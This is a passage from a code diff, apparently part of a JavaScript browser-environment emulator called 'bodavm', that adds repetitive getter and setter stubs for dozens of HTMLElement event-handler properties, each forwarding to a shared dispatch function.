{ + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationend", { + configurable: true, + enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerrawupdate", { + configurable: true, + enumerable: true, + get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_set", arguments); + } +}, 'prototype'); 